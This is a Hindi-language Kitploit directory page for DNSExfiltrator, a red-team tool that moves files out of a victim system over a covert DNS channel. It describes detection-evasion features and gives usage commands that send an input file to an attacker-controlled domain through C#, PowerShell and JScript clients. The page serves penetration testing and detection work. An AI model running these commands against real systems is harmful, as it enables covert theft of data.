Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
DNSExfiltrator — DNS अनुरोध गुप्त चैनल के माध्यम से डेटा निकासी | Kitploit
उपकरण/GitHubGitHub/arno0x/dnsexfiltrator
डेटा निष्कासनपेनिट्रेशन टेस्टिंगरेड टीमिंगDNS विश्लेषण
GitHubarno0x/dnsexfiltrator

DNSExfiltrator

DNS अनुरोध गुप्त चैनल के माध्यम से डेटा निकासी

रिपॉजिटरी देखें
8841908 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

DNSExfiltrator

लेखक: Arno0x0x - @Arno0x0x

DNSExfiltrator एक DNS अनुरोध गुप्त चैनल पर एक फ़ाइल को स्थानांतरित करने (exfiltrate) की अनुमति देता है। यह मूल रूप से एक डेटा लीक परीक्षण उपकरण है जो एक गुप्त चैनल पर डेटा को exfiltrate करने की अनुमति देता है।

DNSExfiltrator के दो पक्ष हैं:

  1. सर्वर पक्ष, जो एक एकल पायथन स्क्रिप्ट (dnsexfiltrator.py) के रूप में आता है, जो एक कस्टम DNS सर्वर के रूप में कार्य करता है, फ़ाइल प्राप्त करता है।
  2. क्लाइंट पक्ष (पीड़ित का पक्ष), जो तीन स्वरूपों में आता है:
  • dnsExfiltrator.cs: एक C# स्क्रिप्ट जिसे csc.exe के साथ संकलित किया जा सकता है ताकि एक Windows प्रबंधित निष्पादन योग्य बनाया जा सके।
  • Invoke-DNSExfiltrator.ps1: एक PowerShell स्क्रिप्ट जो dnsExfiltrator असेंबली को लपेटकर समान कार्यक्षमताएँ प्रदान करती है।
  • dnsExfiltrator.js: एक JScript स्क्रिप्ट जो DotNetToJScript का उपयोग करके dnsExiltrator DLL असेंबली का रूपांतरण है, और समान कार्यक्षमताएँ प्रदान करती है।

पूरी चीज़ को काम करने के लिए आपके पास एक डोमेन नाम होना चाहिए और उस डोमेन के लिए DNS रिकॉर्ड (NS) को उस सर्वर की ओर इंगित करने के लिए सेट करना होगा जो dnsexfiltrator.py सर्वर पक्ष चलाएगा।

विशेषताएँ

डिफ़ॉल्ट रूप से, DNSExfiltrator सिस्टम द्वारा परिभाषित DNS सर्वर का उपयोग करता है, लेकिन आप एक विशिष्ट सर्वर भी सेट कर सकते हैं (उदाहरण के लिए डिबगिंग उद्देश्यों या सर्वर पक्ष को स्थानीय रूप से चलाने के लिए उपयोगी)।

वैकल्पिक रूप से, h पैरामीटर का उपयोग करके, DNSExfiltrator Google या CloudFlare DoH सर्वरों का उपयोग करके DoH (DNS over HTTP) कर सकता है।

डिफ़ॉल्ट रूप से, exfiltrate किए जाने वाले डेटा को DNS अनुरोधों में फिट करने के लिए base64URL एन्कोड किया जाता है। हालाँकि, कुछ DNS रिज़ॉल्वर इस एन्कोडिंग को तोड़ सकते हैं (यह उचित है क्योंकि FQDN को वैसे भी केस संवेदनशील नहीं माना जाता है) केस की संवेदनशीलता (ऊपरी या निचला मामला) के साथ खिलवाड़ करके, जो एन्कोडिंग/डिकोडिंग प्रक्रिया के लिए स्पष्ट रूप से महत्वपूर्ण है। इस समस्या को दूर करने के लिए आप डेटा के Base32 एन्कोडिंग को लागू करने के लिए -b32 फ़्लैग का उपयोग कर सकते हैं, जिसमें थोड़ा साइज़ ओवरहेड आता है। यदि आप CloudFlare DoH का उपयोग कर रहे हैं, तो base32 एन्कोडिंग स्वचालित रूप से लागू होती है।

DNSExfiltrator प्रदान किए गए पासवर्ड का उपयोग करके डेटा को एन्क्रिप्ट/डिक्रिप्ट करने के लिए बुनियादी RC4 एन्क्रिप्शन का समर्थन करता है।

DNSExfiltrator पहचान से बचने के लिए कुछ वैकल्पिक सुविधाएँ भी प्रदान करता है:

  • डेटा exfiltrate करते समय अधिक गुप्त रहने के लिए अनुरोध थ्रॉटलिंग
  • DNS अनुरोध आकार में कमी (डिफ़ॉल्ट रूप से यह दक्षता के लिए प्रत्येक DNS अनुरोध में जितने संभव हो उतने बाइट्स का उपयोग करने का प्रयास करेगा)
  • DNS लेबल आकार में कमी (डिफ़ॉल्ट रूप से यह सबसे लंबे समर्थित लेबल आकार 63 वर्णों का उपयोग करने का प्रयास करेगा)

निर्भरताएँ

एकमात्र निर्भरता सर्वर पक्ष पर है, क्योंकि dnsexfiltrator.py स्क्रिप्ट बाहरी dnslib लाइब्रेरी पर निर्भर करती है। आप इसे pip का उपयोग करके स्थापित कर सकते हैं:

root@kitploit:~
pip install -r requirements.txt

उपयोग

सर्वर पक्ष

dnsexfiltrator.py स्क्रिप्ट को डोमेन नाम और डिक्रिप्शन पासवर्ड पास करके प्रारंभ करें:

root@kitploit:~
root@kali:~# ./dnsexfiltrator.py -d mydomain.com -p password

क्लाइंट पक्ष

आप या तो संकलित संस्करण का उपयोग कर सकते हैं, या PowerShell रैपर (जो मूलतः एक ही चीज़ है) या JScript रैपर का। किसी भी स्थिति में, पैरामीटर समान होते हैं, केवल PowerShell में उन्हें पास करने के तरीके में थोड़ा अंतर है।

1/ C# संकलित Windows निष्पादन योग्य का उपयोग करना (जिसे आप release निर्देशिका में पा सकते हैं):

root@kitploit:~
dnsExfiltrator.exe <file> <domainName> <password> [-b32] [h=google|cloudflare] [s=<DNS_server>] [t=<throttleTime>] [r=<requestMaxSize>] [l=<labelMaxSize>]
      file:           [अनिवार्य] exfiltrate की जाने वाली फ़ाइल का फ़ाइल नाम।
      domainName:     [अनिवार्य] DNS अनुरोधों के लिए उपयोग किया जाने वाला डोमेन नाम।
      password:       [अनिवार्य] exfiltrate किए जाने वाले डेटा को एन्क्रिप्ट करने के लिए उपयोग किया जाने वाला पासवर्ड।
      -b32:           [वैकल्पिक] डेटा का base32 एन्कोडिंग उपयोग करें। कुछ DNS रिज़ॉल्वर केस तोड़ने के कारण आवश्यक हो सकता है।
      h:              [वैकल्पिक] Google या CloudFlare DoH (DNS over HTTP) सर्वर का उपयोग करें।
      DNS_Server:     [वैकल्पिक] DNS अनुरोधों के लिए उपयोग किया जाने वाला DNS सर्वर नाम या IP। डिफ़ॉल्ट रूप से सिस्टम वाला।
      throttleTime:   [वैकल्पिक] प्रत्येक DNS अनुरोध के बीच प्रतीक्षा करने का समय मिलीसेकंड में।
      requestMaxSize: [वैकल्पिक] प्रत्येक DNS अनुरोध के लिए अधिकतम आकार बाइट्स में। डिफ़ॉल्ट 255 बाइट्स।
      labelMaxSize:   [वैकल्पिक] प्रत्येक DNS अनुरोध लेबल (उपडोमेन) के लिए अधिकतम आकार वर्णों में। डिफ़ॉल्ट 63 वर्ण।

2/ PowerShell स्क्रिप्ट का उपयोग करना, इसे अपने किसी भी पसंदीदा तरीके से कॉल करें (आप शायद PowerShell स्क्रिप्ट को आमंत्रित करने के कई तरीके जानते हैं) स्क्रिप्ट पैरामीटर्स के साथ। सबसे बुनियादी उदाहरण:

root@kitploit:~
c:\DNSExfiltrator> powershell
PS c:\DNSExfiltrator> Import-Module .\Invoke-DNSExfiltrator.ps1
PS c:\DNSExfiltrator> Invoke-DNSExfiltrator -i inputFile -d mydomain.com -p password -s my.dns.server.com -t 500
[...]

आगे के उपयोग उदाहरणों के लिए स्क्रिप्ट फ़ाइल में EXAMPLES अनुभाग देखें।

3/ JScript स्क्रिप्ट का उपयोग करना, इसे वही तर्क पास करें जो आप स्टैंडअलोन Windows निष्पादन योग्य के साथ करते:

root@kitploit:~
cscript.exe dnsExiltrator.js inputFile mydomain.com password

या, कुछ विकल्पों के साथ:

root@kitploit:~
cscript.exe dnsExiltrator.js inputFile mydomain.com password s=my.dns.server.com t=500

करने योग्य

  • कुछ लोग RC4 के बजाय AES एन्क्रिप्शन माँगेंगे, मुझे पता है... इसे बाद में जोड़ सकता है
  • अनुमानित स्थानांतरण समय प्रदर्शित करें
  • बेहतर तर्क पार्सिंग करें (मैं c# तर्क पार्सिंग लाइब्रेरी सीखने में बहुत आलसी हूँ, काश यह Python जितना सरल होता)

अस्वीकरण

यह उपकरण केवल कानूनी और वैध तरीके से उपयोग करने के लिए है:

  • या तो अपने स्वयं के सिस्टम पर सीखने, यह प्रदर्शित करने के लिए कि क्या किया जा सकता है और कैसे, या अपने बचाव और पहचान तंत्र का परीक्षण करने के साधन के रूप में
  • उन सिस्टम पर जिनके लिए आपको आधिकारिक और वैध रूप से कुछ सुरक्षा मूल्यांकन (पेंटेस्ट, सुरक्षा ऑडिट) करने का अधिकार दिया गया है

Empire के लेखकों का कहना है: वैधानिक infosec उद्योग के लिए उपयोगी आक्रामक उपकरण बनाने का कोई तरीका नहीं है जबकि साथ ही दुर्भावनापूर्ण अभिनेताओं को उनका दुरुपयोग करने से रोका जा सके।

टूल डाउनलोड करें